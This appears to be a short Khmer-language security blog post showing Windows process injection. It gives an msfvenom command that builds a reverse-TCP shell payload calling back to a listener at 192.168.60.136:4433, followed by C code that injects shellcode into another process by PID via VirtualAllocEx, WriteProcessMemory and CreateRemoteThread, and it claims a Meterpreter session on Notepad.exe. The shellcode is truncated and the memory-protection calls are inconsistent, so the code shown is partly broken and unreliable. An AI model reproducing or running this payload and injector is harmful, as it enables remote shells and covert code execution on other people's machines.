This page looks best with JavaScript enabled

Process Injection without Write/Execute Permission

 ·  β˜• 1 min read  ·  🐱 thik

Pwn Self Injection

αž”αž„αŸ’αž€αžΎαž Payload αžŠαŸ„αž™αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹ Shellcode αž‡αžΆαž—αžΆαžŸαžΆαžš C αž‚αŸ„αž›αžŠαŸ…αž›αžΎαž˜αŸ‰αžΆαžŸαŸŠαžΈαž“ 64 bit αŸ”

1
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.60.136 lport=4433 -f c

αžαžΆαž„αž€αŸ’αžšαŸ„αž˜αž‡αžΆαžœαž·αž’αžΈαžŸαžΆαžŸαŸ’αžαŸ’αžšαžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž…αžΆαž€αŸ‹ Process αž…αžΌαž›αž‘αŸ…αž€αžΆαž“αŸ‹ PID αžŽαžΆαž˜αž½αž™αžŠαŸ„αž™αž˜αž·αž“αž˜αžΆαž“ DEP protection αž“αž·αž„αž˜αž·αž“αž˜αžΆαž“αžŸαž·αž‘αŸ’αž’αž€αŸ’αž“αž»αž„αž€αžΆαžšαžŸαžšαžŸαŸαžšαž…αžΌαž› αž¬αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž”αžΆαž“ (Non-Writable / Non-Executable Allocation) αŸ”

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <Windows.h>

int main(int argc, char* argv[])
{
    unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
		"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
		"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;
    DWORD oldPerms;
    DWORD PID = 1524;
    printf("Injecting to PID: %i", PID);
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READ);
    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
    VirtualProtectEx(processHandle, (LPVOID)sizeof(processHandle), sizeof(shellcode), PAGE_READONLY, &oldPerms);
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);

    return 0;
}

αž€αŸ‚αžαŸ’αžšαž„αŸ‹ PID αž”αž“αŸ’αž‘αžΆαž”αŸ‹αž˜αž€ Compile αž€αžΌαžŠαžαžΆαž„αž›αžΎαžαžΆαž˜αž’αž˜αŸ’αž˜αžαžΆ (αžŸαž˜αŸ’αžšαžΆαž”αŸ‹ Visual Studio 20xx αžαž˜αŸ’αžšαžΌαžœαž²αŸ’αž™αž’αŸ’αžœαžΎαž€αžΆαžšαž”αž·αž‘ DEP Protection αž˜αž»αž“αž“αž·αž„ Build) αž”αž“αŸ’αž‘αžΆαž”αŸ‹αž˜αž€αžŸαžΌαž˜αžŸαžΆαž€αž›αŸ’αž”αž„αž”αžΎαž€αžŠαŸ†αžŽαžΎαžšαž€αžΆαžš αŸ”

Pwn Process Injection Non-Write/Exec Allocation
Meterpreter

αž‡αŸ„αž‚αž‡αŸαž™!!! αž–αŸαž›αž“αŸαŸ‡αž™αžΎαž„αž”αžΆαž“αž…αžΆαž€αŸ‹ Shellcode αž…αžΌαž›αž‘αŸ…αž€αŸ’αž“αž»αž„ Process αž“αŸƒαž€αž˜αŸ’αž˜αžœαž·αž’αžΈ Notepad.exe αžαžΆαž˜αžšαž™αŸˆ PID 1524 αžŠαŸ„αž™αž˜αž·αž“αž˜αžΆαž“αžŸαž·αž‘αŸ’αž’ Write ឬ Execute αž”αžΆαž“αžŸαž˜αŸ’αžšαŸαž… αŸ•

αžŸαž˜αŸ’αžšαž„αŸ‹αž…αŸαž‰αž–αžΈαŸ– XRET2PWN

Share on

Thik
WRITTEN BY
thik
Security Researcher